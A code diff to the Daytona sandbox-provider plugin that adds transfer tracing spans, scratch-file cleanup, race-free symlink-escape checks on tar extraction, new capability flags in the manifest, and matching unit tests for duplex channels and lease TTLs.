-      name: "transfer",
-      wallMsAttr: SPAN_ATTR.transferWallMs,
-      attributes: { [SPAN_ATTR.transferGuardCount]: guardRoundTrips },
-      run: () =>
-        sandbox.fs.uploadFiles([{ source: archivePath, destination: remoteTar }], timeoutSeconds),
-    });
-    // Bind validation and extraction into ONE sandbox invocation, then extract into
-    // an OPEN directory inode rather than a path string. `exec 9<"$_pc_real"` itself
-    // walks every ancestor of `$_pc_real` during the `open()` syscall, so a sandbox
-    // process that swaps an ancestor component for a symlink AFTER `_pc_resolve`
-    // returns but BEFORE the `open()` resolves would leave fd 9 pointing at a
-    // directory outside the workspace — the earlier `case` check on the resolved
-    // string cannot see that. Close the gap with open-then-verify: open fd 9 (which
-    // PINS whatever inode `open()` landed on), then re-canonicalize `/proc/self/fd/9`
-    // — the pinned inode's own path — and confirm it is still inside `$_pc_root`
-    // before extracting. If an ancestor swap redirected the open, the pinned inode
-    // resolves outside the root and the verify fails closed (exit 42); once the
-    // verify passes, the inode is fixed and `tar -C /proc/self/fd/9` chdir's through
-    // the magic symlink to that exact inode, so a post-open ancestor swap cannot
-    // redirect the write. (The initial `case` on `$_pc_real` still fails fast on a
-    // pre-open escape; the fd re-verify is what makes the guarantee race-free.)
-    const extractScript = [
-      ...canonicalizerPreamble(shellQuote(remoteDir)),
-      `_pc_real=$(_pc_resolve ${shellQuote(mapping.targetPath)}) || { echo "ESCAPE"; exit 42; };`,
-      `case "$_pc_real/" in "$_pc_root"/*) : ;; *) echo "ESCAPE"; exit 42 ;; esac;`,
-      `exec 9<"$_pc_real" || { echo "open failed"; exit 46; };`,
-      `_pc_fd_real=$(_pc_resolve /proc/self/fd/9) || { echo "ESCAPE"; exit 42; };`,
-      `case "$_pc_fd_real/" in "$_pc_root"/*) : ;; *) echo "ESCAPE"; exit 42 ;; esac;`,
-      `tar -xf ${shellQuote(remoteTar)} -C /proc/self/fd/9 || { echo "extract failed"; exit 43; };`,
-      `exec 9>&-;`,
-      `rm -f ${shellQuote(remoteTar)};`,
-    ].join("\n");
-    // `extractTarball` span: one round trip — re-check the path, `tar -xf`, and
-    // remove the scratch tarball.
-    await withProviderSpan({
-      name: "extractTarball",
-      run: () =>
-        assertSandboxCommandOk(
-          sandbox,
-          `sh -c ${shellQuote(extractScript)}`,
-          timeoutSeconds,
-          "syncIn extract",
-        ),
-    });
+    // The uploaded scratch tar lands at the workspace root as a reserved
+    // `.paperclip-upload-*` entry. The extract script below removes it only on
+    // success. On an upload or extract failure the scratch tar can remain, and the
+    // runtime workspace wipe preserves every `.paperclip-upload-*` entry, so a
+    // stale tar would surface in the agent workspace. Sweep the scratch on any
+    // failure — symmetric with the file-mapping path — so a failed sync (for
+    // example a referenced-project extraction) leaves no residue.
+    try {
+      // `transfer` span: the real byte upload — `sandbox.fs.uploadFiles`.
+      await withProviderSpan({
+        name: "transfer",
+        wallMsAttr: SPAN_ATTR.transferWallMs,
+        attributes: {
+          [SPAN_ATTR.transferGuardCount]: guardRoundTrips,
+          [SPAN_ATTR.transferDirection]: "inbound",
+        },
+        run: () =>
+          sandbox.fs.uploadFiles([{ source: archivePath, destination: remoteTar }], timeoutSeconds),
+      });
+      // Bind validation and extraction into ONE sandbox invocation, then extract into
+      // an OPEN directory inode rather than a path string. `exec 9<"$_pc_real"` itself
+      // walks every ancestor of `$_pc_real` during the `open()` syscall, so a sandbox
+      // process that swaps an ancestor component for a symlink AFTER `_pc_resolve`
+      // returns but BEFORE the `open()` resolves would leave fd 9 pointing at a
+      // directory outside the workspace — the earlier `case` check on the resolved
+      // string cannot see that. Close the gap with open-then-verify: open fd 9 (which
+      // PINS whatever inode `open()` landed on), then re-canonicalize `/proc/self/fd/9`
+      // — the pinned inode's own path — and confirm it is still inside `$_pc_root`
+      // before extracting. If an ancestor swap redirected the open, the pinned inode
+      // resolves outside the root and the verify fails closed (exit 42); once the
+      // verify passes, the inode is fixed and `tar -C /proc/self/fd/9` chdir's through
+      // the magic symlink to that exact inode, so a post-open ancestor swap cannot
+      // redirect the write. (The initial `case` on `$_pc_real` still fails fast on a
+      // pre-open escape; the fd re-verify is what makes the guarantee race-free.)
+      const extractScript = [
+        ...canonicalizerPreamble(shellQuote(remoteDir)),
+        `_pc_real=$(_pc_resolve ${shellQuote(mapping.targetPath)}) || { echo "ESCAPE"; exit 42; };`,
+        `case "$_pc_real/" in "$_pc_root"/*) : ;; *) echo "ESCAPE"; exit 42 ;; esac;`,
+        `exec 9<"$_pc_real" || { echo "open failed"; exit 46; };`,
+        `_pc_fd_real=$(_pc_resolve /proc/self/fd/9) || { echo "ESCAPE"; exit 42; };`,
+        `case "$_pc_fd_real/" in "$_pc_root"/*) : ;; *) echo "ESCAPE"; exit 42 ;; esac;`,
+        `tar -xf ${shellQuote(remoteTar)} -C /proc/self/fd/9 || { echo "extract failed"; exit 43; };`,
+        `exec 9>&-;`,
+        `rm -f ${shellQuote(remoteTar)};`,
+      ].join("\n");
+      // `extractTarball` span: one round trip — re-check the path, `tar -xf`, and
+      // remove the scratch tarball.
+      await withProviderSpan({
+        name: "extractTarball",
+        run: () =>
+          assertSandboxCommandOk(
+            sandbox,
+            `sh -c ${shellQuote(extractScript)}`,
+            timeoutSeconds,
+            "syncIn extract",
+          ),
+      });
+    } catch (error) {
+      await removeSandboxScratch(sandbox, [remoteTar], timeoutSeconds);
+      throw error;
+    }
     const filesTransferred = await countHostFiles(mapping.sourcePath, mapping.exclude);
     return { filesTransferred, bytesTransferred };
   });
@@ -873,10 +895,25 @@ async function syncOutFileMappings(input: {
     throw error;
   }
 
+  // Count the serial sandbox round trips before the transfer, so the transfer
+  // span records how much of the wall time is guard cost. The validate-and-
+  // snapshot step is one sandbox round trip. This is symmetric with the inbound
+  // transfer span.
+  const guardRoundTrips = 1;
+
   let responses: FileDownloadResponse[];
   try {
     // One batched bulk download for all file mappings, reading the snapshots.
-    responses = await sandbox.fs.downloadFiles(requests, timeoutSeconds);
+    // `transfer` span: the real byte download — `sandbox.fs.downloadFiles`.
+    responses = await withProviderSpan({
+      name: "transfer",
+      wallMsAttr: SPAN_ATTR.transferWallMs,
+      attributes: {
+        [SPAN_ATTR.transferGuardCount]: guardRoundTrips,
+        [SPAN_ATTR.transferDirection]: "outbound",
+      },
+      run: () => sandbox.fs.downloadFiles(requests, timeoutSeconds),
+    });
   } catch (error) {
     await cleanup();
     throw error;
@@ -926,6 +963,9 @@ async function syncOutDirectoryMapping(input: {
 }): Promise<{ filesTransferred: number; bytesTransferred: number }> {
   const { sandbox, mapping, remoteDir, timeoutSeconds } = input;
   assertConfinedSandboxPath(remoteDir, mapping.sourcePath, "source");
+  // Count the serial sandbox round trips before the transfer, so the transfer
+  // span records how much of the wall time is guard cost.
+  let guardRoundTrips = 0;
   await assertSandboxPathsConfined({
     sandbox,
     remoteDir,
@@ -933,6 +973,7 @@ async function syncOutDirectoryMapping(input: {
     timeoutSeconds,
     label: "outbound symlink-escape guard",
   });
+  guardRoundTrips += 1;
 
   return withHostTempDir(async (tmp) => {
     const remoteTar = path.posix.join(remoteDir, scratchName(".tar"));
@@ -951,14 +992,22 @@ async function syncOutDirectoryMapping(input: {
         `else tar -c --no-xattrs ${mapping.followSymlinks ? "-h " : ""}${excludeFlags} -f ${shellQuote(remoteTar)} -- "$@"; fi`,
     ].join(" && ");
     await assertSandboxCommandOk(sandbox, `sh -c ${shellQuote(tarScript)}`, timeoutSeconds, "syncOut tar");
+    guardRoundTrips += 1;
 
     const localTar = path.join(tmp, "sync-out.tar");
     let bytesTransferred = 0;
     try {
-      const responses = await sandbox.fs.downloadFiles(
-        [{ source: remoteTar, destination: localTar }],
-        timeoutSeconds,
-      );
+      // `transfer` span: the real byte download — `sandbox.fs.downloadFiles`.
+      const responses = await withProviderSpan({
+        name: "transfer",
+        wallMsAttr: SPAN_ATTR.transferWallMs,
+        attributes: {
+          [SPAN_ATTR.transferGuardCount]: guardRoundTrips,
+          [SPAN_ATTR.transferDirection]: "outbound",
+        },
+        run: () =>
+          sandbox.fs.downloadFiles([{ source: remoteTar, destination: localTar }], timeoutSeconds),
+      });
       const response = responses.find((entry) => entry.source === remoteTar) ?? responses[0];
       if (!response || response.error) {
         throw new Error(
diff --git a/packages/plugins/sandbox-providers/daytona/src/manifest.ts b/packages/plugins/sandbox-providers/daytona/src/manifest.ts
index 7b52c685ee8..1dff4695e58 100644
--- a/packages/plugins/sandbox-providers/daytona/src/manifest.ts
+++ b/packages/plugins/sandbox-providers/daytona/src/manifest.ts
@@ -1,7 +1,17 @@
 import type { PaperclipPluginManifestV1 } from "@paperclipai/plugin-sdk";
 
 const PLUGIN_ID = "paperclip.daytona-sandbox-provider";
-const PLUGIN_VERSION = "0.1.1";
+// The bundled-plugin boot reconcile refreshes the persisted manifest for an
+// existing install only when PLUGIN_VERSION changes. A manifest change without a
+// version bump never reaches an existing install. The reconcile also reads the
+// persisted manifest raw and does not re-run the validator, so it never
+// canonicalizes a renamed capability.
+//
+// 0.1.3 renamed the login transport flag from `supportsSetupTokenLogin` to the
+// neutral `supportsLoginPty`.
+// 0.1.4 adds the `concurrentSyncOperations` sandbox capability to the driver.
+// 0.1.5 adds the `duplexCommandStream` sandbox capability to the driver.
+const PLUGIN_VERSION = "0.1.5";
 
 const manifest: PaperclipPluginManifestV1 = {
   id: PLUGIN_ID,
@@ -24,6 +34,27 @@ const manifest: PaperclipPluginManifestV1 = {
       description:
         "Provisions Daytona sandboxes with configurable image or snapshot selection, startup timeouts, and lease reuse.",
       supportsReusableLeases: true,
+      // Daytona keeps a persistent session and tails its callback log form, so it
+      // emits incremental session output while the command runs. Declare the
+      // opt-in capability so the host selects the session-output streaming path.
+      // A generic one-shot provider that omits this key keeps the poll path.
+      //
+      // Daytona also runs file transfers into and out of the sandbox in parallel.
+      // Each concurrent sync hook call uses separate temporary state (random
+      // scratch names and per-mapping host temporary directories), and teardown
+      // waits for all active calls. Declare the opt-in capability so the host may
+      // schedule sync operations concurrently. The host resolves it `true` only
+      // when the worker also verifies both sync verbs.
+      //
+      // Daytona carries the sandbox callback bridge on one live duplex channel
+      // over a raw pseudo-terminal. Declare the opt-in capability so the host may
+      // select the duplex transport. The host resolves it `true` only when the
+      // worker also verifies the `duplexChannelOpen` handler.
+      sandboxCapabilities: {
+        incrementalSessionOutput: true,
+        concurrentSyncOperations: true,
+        duplexCommandStream: true,
+      },
       supportsInteractiveSetup: true,
       interactiveSetupConnectionTypes: ["ssh"],
       supportsTemplateCapture: true,
@@ -34,6 +65,10 @@ const manifest: PaperclipPluginManifestV1 = {
       },
       templateIdentityPaths: ["apiUrl"],
       supportsTemplateDelete: true,
+      // Daytona hosts an interactive login on a real pseudo-terminal. It is the
+      // only bundled provider that implements the login pseudo-terminal methods,
+      // so it advertises the capability.
+      supportsLoginPty: true,
       configSchema: {
         type: "object",
         properties: {
@@ -96,6 +131,12 @@ const manifest: PaperclipPluginManifestV1 = {
             description: "Timeout for Daytona create/start/stop/execute operations in milliseconds.",
             default: 300000,
           },
+          livenessTimeoutMs: {
+            type: "number",
+            description:
+              "Per-call timeout in milliseconds for the sandbox liveness read (refreshData). A silently unresponsive sandbox connection surfaces as a fast error instead of stalling until the outer RPC ceiling. The start and recovery calls derive their own deadline from timeoutMs, not this bound. `0` or less disables the bound. Defaults to 30000 when unset.",
+            default: 30000,
+          },
           autoStopInterval: {
             type: "number",
             description:
@@ -120,12 +161,6 @@ const manifest: PaperclipPluginManifestV1 = {
               "Whether to stop and later resume the sandbox across runs instead of deleting it on release.",
             default: false,
           },
-          useLogStream: {
-            type: "boolean",
-            description:
-              "When true, a session command streams stdout and stderr from the Daytona callback log form and reads the exit code one time after the stream ends. When false, the command polls the exit code and reads the logs one time. Defaults to false.",
-            default: false,
-          },
         },
       },
     },
diff --git a/packages/plugins/sandbox-providers/daytona/src/plugin.test.ts b/packages/plugins/sandbox-providers/daytona/src/plugin.test.ts
index 46d8567207f..1fb64271b82 100644
--- a/packages/plugins/sandbox-providers/daytona/src/plugin.test.ts
+++ b/packages/plugins/sandbox-providers/daytona/src/plugin.test.ts
@@ -45,6 +45,7 @@ function createMockSandbox(overrides: {
   state?: string;
   recoverable?: boolean;
   workDir?: string;
+  autoDestroyAt?: string | null;
 } = {}) {
   return {
     id: overrides.id ?? "sandbox-123",
@@ -53,6 +54,9 @@ function createMockSandbox(overrides: {
     recoverable: overrides.recoverable ?? false,
     target: "us",
     errorReason: null,
+    // A configured provider TTL populates `autoDestroyAt` after `setTtl` +
+    // `refreshData`. The default mock leaves it unset (no TTL configured).
+    autoDestroyAt: overrides.autoDestroyAt ?? undefined,
     getWorkDir: vi.fn().mockResolvedValue(overrides.workDir ?? "/home/daytona"),
     getUserHomeDir: vi.fn().mockResolvedValue("/home/daytona"),
     start: vi.fn().mockResolvedValue(undefined),
@@ -65,6 +69,7 @@ function createMockSandbox(overrides: {
     resize: vi.fn().mockResolvedValue(undefined),
     delete: vi.fn().mockResolvedValue(undefined),
     archive: vi.fn().mockResolvedValue(undefined),
+    setTtl: vi.fn().mockResolvedValue(undefined),
     setAutoDeleteInterval: vi.fn().mockResolvedValue(undefined),
     createSshAccess: vi.fn().mockResolvedValue({
       token: "ssh-token-secret",
@@ -128,9 +133,154 @@ describe("Daytona sandbox provider plugin", () => {
       supportsTemplateCapture: true,
       templateRefKind: "snapshot",
       supportsTemplateDelete: true,
+      // Daytona streams incremental session output, so it declares the opt-in
+      // capability that selects the session-output streaming path.
+      sandboxCapabilities: { incrementalSessionOutput: true },
     });
   });
 
+  it("declares the concurrent-sync-operations capability so the host may parallelize sync operations", () => {
+    // Daytona runs file transfers into and out of the sandbox in parallel, so it
+    // declares the opt-in capability. The host resolves it `true` only when the
+    // worker also verifies both sync verbs, which the sync hooks provide.
+    expect(manifest.environmentDrivers?.[0]?.sandboxCapabilities).toMatchObject({
+      concurrentSyncOperations: true,
+    });
+  });
+
+  it("declares the duplex-command-stream capability and the four channel handlers", () => {
+    // Daytona carries the callback bridge on one duplex channel, so it declares
+    // the opt-in capability. The host resolves it `true` only when the worker also
+    // verifies the `duplexChannelOpen` handler, which the four handlers provide.
+    expect(manifest.environmentDrivers?.[0]?.sandboxCapabilities).toMatchObject({
+      duplexCommandStream: true,
+    });
+    expect(plugin.definition.onDuplexChannelOpen).toBeTypeOf("function");
+    expect(plugin.definition.onDuplexChannelWrite).toBeTypeOf("function");
+    expect(plugin.definition.onDuplexChannelStop).toBeTypeOf("function");
+    expect(plugin.definition.onDuplexChannelClose).toBeTypeOf("function");
+  });
+
+  it("bumps the plugin version so the server reconciles the stored manifest", () => {
+    // The bundled-plugin boot reconcile refreshes the stored manifest for an
+    // existing install only when the version changes. The duplex capability needs
+    // the bump to reach an existing install.
+    expect(manifest.version).toBe("0.1.5");
+  });
+
+  it("opens a duplex channel, forwards a host write, and closes it on lease release", async () => {
+    process.env.DAYTONA_API_KEY = "host-key";
+    // A fake PTY handle records each host write, drives the data stream on demand,
+    // and records the kill and the disconnect.
+    const inputs: string[] = [];
+    let killed = 0;
+    let disconnected = 0;
+    let ptyOnData: ((data: Uint8Array) => void) | null = null;
+    const handle = {
+      async waitForConnection() {},
+      async sendInput(data: string | Uint8Array) {
+        inputs.push(typeof data === "string" ? data : new TextDecoder().decode(data));
+      },
+      wait() {
+        return new Promise<{ exitCode?: number }>(() => {});
+      },
+      async kill() {
+        killed += 1;
+      },
+      async disconnect() {
+        disconnected += 1;
+      },
+    };
+    const sandbox = createMockSandbox();
+    (sandbox.process as Record<string, unknown>).createPty = vi.fn(
+      async (options: { onData: (data: Uint8Array) => void }) => {
+        ptyOnData = options.onData;
+        return handle;
+      },
+    );
+    mockCreate.mockResolvedValue(sandbox);
+
+    // Capture the data and the exit the worker forwards through `ctx.duplexChannel`.
+    const dataChunks: Array<{ workerSessionId: string; chunk: string }> = [];
+    const restore = __setDaytonaPluginContextForTest({
+      duplexChannel: {
+        data: (workerSessionId: string, chunk: string) =>
+          dataChunks.push({ workerSessionId, chunk }),
+        exit: () => {},
+      },
+    } as unknown as PluginContext);
+
+    try {
+      await plugin.definition.onEnvironmentAcquireLease?.({
+        driverKey: "daytona",
+        companyId: "company-1",
+        environmentId: "env-1",
+        runId: "run-1",
+        agentId: "agent-1",
+        executionWorkspaceId: "workspace-1",
+        adapterType: "codex_local",
+        config: { image: "node:20", timeoutMs: 300000, reuseLease: true },
+      });
+
+      const open = await plugin.definition.onDuplexChannelOpen?.({
+        hostRouteId: "route-1",
+        driverKey: "daytona",
+        companyId: "company-1",
+        environmentId: "env-1",
+        providerLeaseId: "sandbox-123",
+        command: ["node", "/paperclip/gateway.mjs"],
+      });
+      expect(open?.workerSessionId).toMatch(/^duplex-/);
+      const workerSessionId = open?.workerSessionId ?? "";
+
+      // The launch wrapper sets raw mode with echo off and redirects diagnostics.
+      // It quotes each command argument and the diagnostics path as a shell word.
+      expect(inputs[0]).toContain("stty raw -echo");
+      expect(inputs[0]).toContain("exec 'node' '/paperclip/gateway.mjs'");
+      expect(inputs[0]).toMatch(/2>'\/tmp\/paperclip-duplex-.+\.log'/);
+
+      // A host write reaches the process on the same channel.
+      await plugin.definition.onDuplexChannelWrite?.({
+        workerSessionId,
+        data: '{"version":1,"type":"heartbeat"}\n',
+      });
+      expect(inputs[1]).toBe('{"version":1,"type":"heartbeat"}\n');
+
+      // Process output reaches the host as a data notification bound to the
+      // worker session id.
+      ptyOnData?.(new TextEncoder().encode('{"version":1,"type":"ready","address":"127.0.0.1:1"}\n'));
+      expect(dataChunks).toEqual([
+        {
+          workerSessionId,
+          chunk: '{"version":1,"type":"ready","address":"127.0.0.1:1"}\n',
+        },
+      ]);
+
+      // Lease release closes the channel: it kills the child and releases the
+      // pseudo-terminal socket.
+      await plugin.definition.onEnvironmentReleaseLease?.({
+        driverKey: "daytona",
+        companyId: "company-1",
+        environmentId: "env-1",
+        providerLeaseId: "sandbox-123",
+        config: { image: "node:20", timeoutMs: 300000, reuseLease: true },
+      });
+      expect(killed).toBeGreaterThanOrEqual(1);
+      expect(disconnected).toBe(1);
+
+      // The channel entry is gone, so a later write is a no-op and reaches no
+      // process.
+      const inputsBefore = inputs.length;
+      await plugin.definition.onDuplexChannelWrite?.({
+        workerSessionId,
+        data: "late\n",
+      });
+      expect(inputs.length).toBe(inputsBefore);
+    } finally {
+      restore();
+    }
+  });
+
   it("normalizes config and validates the API key fallback", async () => {
     process.env.DAYTONA_API_KEY = "host-key";
 
@@ -160,6 +310,7 @@ describe("Daytona sandbox provider plugin", () => {
         image: null,
         language: "typescript",
         timeoutMs: 450000,
+        livenessTimeoutMs: 30000,
         cpu: null,
         memory: null,
         disk: null,
@@ -169,8 +320,6 @@ describe("Daytona sandbox provider plugin", () => {
         autoDeleteInterval: -1,
         reuseLease: true,
         archiveOnRelease: false,
-        useSessions: false,
-        useLogStream: false,
       },
     });
   });
@@ -342,6 +491,71 @@ describe("Daytona sandbox provider plugin", () => {
     );
   });
 
+  it("does not configure a provider ttl when the acquire carries no requested expiry", async () => {
+    process.env.DAYTONA_API_KEY = "host-key";
+    const sandbox = createMockSandbox();
+    mockCreate.mockResolvedValue(sandbox);
+
+    const lease = await plugin.definition.onEnvironmentAcquireLease?.({
+      driverKey: "daytona",
+      companyId: "company-1",
+      environmentId: "env-1",
+      runId: "run-1",
+      config: { image: "node:20", timeoutMs: 300000, reuseLease: false },
+    });
+
+    // A generic caller keeps the current behavior: no provider ttl, no expiry.
+    expect(sandbox.setTtl).not.toHaveBeenCalled();
+    expect(lease?.expiresAt ?? null).toBeNull();
+  });
+
+  it("configures a provider ttl at or before the requested expiry and returns the provider expiry", async () => {
+    process.env.DAYTONA_API_KEY = "host-key";
+    const autoDestroyAt = new Date(Date.now() + 30 * 60_000).toISOString();
+    const sandbox = createMockSandbox({ autoDestroyAt });
+    mockCreate.mockResolvedValue(sandbox);
+
+    const requestedExpiresAt = new Date(Date.now() + 30 * 60_000 + 30_000).toISOString();
+    const lease = await plugin.definition.onEnvironmentAcquireLease?.({
+      driverKey: "daytona",
+      companyId: "company-1",
+      environmentId: "env-1",
+      runId: "run-1",
+      config: { image: "node:20", timeoutMs: 300000, reuseLease: false },
+      requestedExpiresAt,
+    });
+
+    // The provider ttl is rounded DOWN to whole minutes, so the destroy time
+    // never lands after the requested deadline.
+    expect(sandbox.setTtl).toHaveBeenCalledTimes(1);
+    expect(sandbox.setTtl).toHaveBeenCalledWith(30);
+    expect(sandbox.refreshData).toHaveBeenCalled();
+    // The lease carries the real provider destroy time as evidence of the bound.
+    expect(lease?.expiresAt).toBe(autoDestroyAt);
+  });
+
+  it("returns no expiry when the requested deadline is less than one minute away", async () => {
+    process.env.DAYTONA_API_KEY = "host-key";
+    const sandbox = createMockSandbox({ autoDestroyAt: "must-not-be-read" });
+    mockCreate.mockResolvedValue(sandbox);
+
+    const requestedExpiresAt = new Date(Date.now() + 30_000).toISOString();
+    const lease = await plugin.definition.onEnvironmentAcquireLease?.({
+      driverKey: "daytona",
+      companyId: "company-1",
+      environmentId: "env-1",
+      runId: "run-1",
+      config: { image: "node:20", timeoutMs: 300000, reuseLease: false },
+      requestedExpiresAt,
+    });
+
+    // Daytona ttl granularity is one minute, so a nearer deadline maps to no
+    // valid provider ttl. The provider grants no expiry and the server fails
+    // closed on the null expiry.
+    expect(sandbox.setTtl).not.toHaveBeenCalled();
+    expect(lease?.expiresAt ?? null).toBeNull();
+  });
+
   it("starts an interactive setup sandbox with redacted metadata and one-time SSH payload", async () => {
     process.env.DAYTONA_API_KEY = "host-key";
     const sandbox = createMockSandbox();
@@ -1124,7 +1338,7 @@ describe("Daytona sandbox provider plugin", () => {
       driverKey: "daytona" as const,
       companyId: "company-1",
       environmentId: "env-1",
-      config: { timeoutMs: 300000, reuseLease: false, useSessions: true },
+      config: { timeoutMs: 300000, reuseLease: false },
       lease: { providerLeaseId: "sandbox-123", metadata: {} },
       command: "printf",
       args: ["hello"],
@@ -1178,25 +1392,12 @@ describe("Daytona sandbox provider plugin", () => {
         companyId: "company-1",
         environmentId: "env-1",
         providerLeaseId: "sandbox-123",
-        config: { timeoutMs: 300000, reuseLease: false, useSessions: true },
+        config: { timeoutMs: 300000, reuseLease: false },
       });
       expect(sandbox.process.deleteSession).toHaveBeenCalledTimes(1);
       expect(sandbox.process.deleteSession).toHaveBeenCalledWith(sessionId);
     });
 
-    it("opens no session when the session model is off", async () => {
-      process.env.DAYTONA_API_KEY = "host-key";
-      const sandbox = createMockSandbox();
-      mockGet.mockResolvedValue(sandbox);
-
-      await plugin.definition.onEnvironmentExecute?.(
-        sessionExecParams({ config: { timeoutMs: 300000, reuseLease: false } }),
-      );
-
-      expect(sandbox.process.createSession).not.toHaveBeenCalled();
-      expect(sandbox.process.executeCommand).toHaveBeenCalledTimes(1);
-    });
-
     it("runs a bypassSession command one-shot and leaves the session closed", async () => {
       process.env.DAYTONA_API_KEY = "host-key";
       const sandbox = createMockSandbox();
@@ -1245,7 +1446,7 @@ describe("Daytona sandbox provider plugin", () => {
         companyId: "company-1",
         environmentId: "env-1",
         providerLeaseId: "sandbox-123",
-        config: { timeoutMs: 300000, reuseLease: false, useSessions: true },
+        config: { timeoutMs: 300000, reuseLease: false },
       });
 
       expect(sandbox.process.deleteSession).toHaveBeenCalledWith(sessionId);
@@ -1266,7 +1467,7 @@ describe("Daytona sandbox provider plugin", () => {
           companyId: "company-1",
           environmentId: "env-1",
           providerLeaseId: "sandbox-123",
-          config: { timeoutMs: 300000, reuseLease: false, useSessions: true },
+          config: { timeoutMs: 300000, reuseLease: false },
         }),
       ).rejects.toThrow(/delete failed/);
 
@@ -1286,7 +1487,7 @@ describe("Daytona sandbox provider plugin", () => {
         companyId: "company-1",
         environmentId: "env-1",
         providerLeaseId: "sandbox-123",
-        config: { timeoutMs: 300000, reuseLease: false, useSessions: true },
+        config: { timeoutMs: 300000, reuseLease: false },
       });
 
       expect(sandbox.process.deleteSession).toHaveBeenCalledWith(sessionId);
@@ -1307,7 +1508,7 @@ describe("Daytona sandbox provider plugin", () => {
         companyId: "company-1",
         environmentId: "env-1",
         providerLeaseId: "sandbox-123",
-        config: { timeoutMs: 300000, reuseLease: false, useSessions: true },
+        config: { timeoutMs: 300000, reuseLease: false },
       });
 
       expect(errorSpy).toHaveBeenCalledWith(expect.stringContaining(sessionId));
@@ -1324,7 +1525,7 @@ describe("Daytona sandbox provider plugin", () => {
         companyId: "company-1",
         environmentId: "env-1",
         providerLeaseId: "sandbox-123",
-        config: { timeoutMs: 300000, reuseLease: true, useSessions: true },
+        config: { timeoutMs: 300000, reuseLease: true },
       };
 
       await plugin.definition.onEnvironmentExecute?.(sessionExecParams());
@@ -1351,7 +1552,7 @@ describe("Daytona sandbox provider plugin", () => {
         companyId: "company-1",
         environmentId: "env-1",
         providerLeaseId: "sandbox-123",
-        config: { timeoutMs: 300000, reuseLease: false, useSessions: true },
+        config: { timeoutMs: 300000, reuseLease: false },
         leaseMetadata: {
           remoteCwd: "/home/daytona/paperclip-workspace",
           workspaceSentinel: {
@@ -1382,7 +1583,7 @@ describe("Daytona sandbox provider plugin", () => {
         companyId: "company-1",
         environmentId: "env-1",
         providerLeaseId: "sandbox-123",
-        config: { timeoutMs: 300000, reuseLease: false, useSessions: true },
+        config: { timeoutMs: 300000, reuseLease: false },
         leaseMetadata: {
           remoteCwd: "/home/daytona/paperclip-workspace",
           workspaceSentinel: {
@@ -1402,7 +1603,7 @@ describe("Daytona sandbox provider plugin", () => {
         companyId: "company-1",
         environmentId: "env-1",
         providerLeaseId: "sandbox-123",
-        config: { timeoutMs: 300000, reuseLease: false, useSessions: true },
+        config: { timeoutMs: 300000, reuseLease: false },
       });
       expect(sandbox.process.deleteSession).toHaveBeenCalledTimes(1);
       expect(sandbox.process.deleteSession).toHaveBeenCalledWith(sessionId);
@@ -1426,7 +1627,7 @@ describe("Daytona sandbox provider plugin", () => {
           companyId: "company-1",
           environmentId: "env-1",
           providerLeaseId: "sandbox-123",
-          config: { timeoutMs: 300000, reuseLease: false, useSessions: true },
+          config: { timeoutMs: 300000, reuseLease: false },
         });
         const teardown = spans.find((span) => span.name === "session.close");
         expect(teardown).toBeDefined();
@@ -1461,7 +1662,19 @@ describe("Daytona sandbox provider plugin", () => {
       process.env.DAYTONA_API_KEY = "host-key";
       const sandbox = createMockSandbox();
       sandbox.process.getSessionCommand.mockResolvedValue({ id: "cmd-1", command: "", exitCode: 7 });
-      sandbox.process.getSessionCommandLogs.mockResolvedValue({ stdout: "out-here", stderr: "err-here" });
+      // A session command tries the log stream first: it delivers stdout and
+      // stderr from the callback log form.
+      sandbox.process.getSessionCommandLogs.mockImplementation(
+        async (
+          _sid: string,
+          _cmdId: string,
+          onStdout?: (chunk: string) => void,
+          onStderr?: (chunk: string) => void,
+        ) => {
+          onStdout?.("out-here");
+          onStderr?.("err-here");
+        },
+      );
       mockGet.mockResolvedValue(sandbox);
 
       const result = await plugin.definition.onEnvironmentExecute?.(sessionExecParams());
@@ -1482,7 +1695,7 @@ describe("Daytona sandbox provider plugin", () => {
       // The session command runs plain: no bwrap wrapper and no su privilege drop.
       expect(req.command).not.toContain("sudo -n bwrap");
       expect(req.command).not.toContain("su -s /bin/sh");
-      // True separated streams come from the logs endpoint.
+      // True separated streams come from the callback log stream.
       expect(result).toMatchObject({ exitCode: 7, timedOut: false, stdout: "out-here", stderr: "err-here" });
       expect(typeof (result!.metadata as Record<string, unknown>)?.durationMs).toBe("number");
     });
@@ -1521,10 +1734,20 @@ describe("Daytona sandbox provider plugin", () => {
       expect(firstSid).toBe(secondSid);
     });
 
-    it("returns a session timeout when the command never reports an exit code", async () => {
+    it("returns a session timeout on the poll fallback when the command never reports an exit code", async () => {
       process.env.DAYTONA_API_KEY = "host-key";
       const sandbox = createMockSandbox();
-      // The command stays running: the exit code never arrives.
+      // The log stream fails, so the dispatch falls back to the poll path. The
+      // command stays running there: the exit code never arrives, so the poll
+      // deadline fires.
+      sandbox.process.getSessionCommandLogs.mockImplementation(
+        async (_sid: string, _cmdId: string, onStdout?: (chunk: string) => void) => {
+          if (onStdout) {
+            throw new Error("socket error");
+          }
+          return { stdout: "", stderr: "" };
+        },
+      );
       sandbox.process.getSessionCommand.mockResolvedValue({ id: "cmd-1", command: "", exitCode: undefined });
       mockGet.mockResolvedValue(sandbox);
 
@@ -1536,14 +1759,12 @@ describe("Daytona sandbox provider plugin", () => {
       expect(result!.stderr).toMatch(/timed out/);
     });
 
-    describe("log stream (useLogStream)", () => {
-      // A session exec params helper with the log-stream flag on. It streams
-      // stdout and stderr from the callback log form instead of the 50-ms poll.
+    describe("log stream (default)", () => {
+      // A session command tries the log stream first. It streams stdout and
+      // stderr from the callback log form instead of the 50-ms poll, and falls
+      // back to the poll only when the stream fails.
       const streamExecParams = (overrides: Record<string, unknown> = {}) =>
-        sessionExecParams({
-          config: { timeoutMs: 300000, reuseLease: false, useSessions: true, useLogStream: true },
-          ...overrides,
-        });
+        sessionExecParams(overrides);
 
       it("streams ordered stdout and stderr from the callback log form (test_log_stream_delivers_ordered_chunks)", async () => {
         process.env.DAYTONA_API_KEY = "host-key";
@@ -1737,6 +1958,7 @@ describe("Daytona sandbox provider plugin", () => {
         timeoutMs: 300000,
         reuseLease: false,
       },
+      bypassSession: true,
       lease: { providerLeaseId: "sandbox-123", metadata: {} },
       command: "printf",
       args: ["hello"],
@@ -1790,6 +2012,7 @@ describe("Daytona sandbox provider plugin", () => {
         companyId: "company-1",
         environmentId: "env-1",
         config: { timeoutMs: 300000, reuseLease: false },
+        bypassSession: true,
         lease: { providerLeaseId: "sandbox-123", metadata: {} },
         command: "printf",
         args: ["hello"],
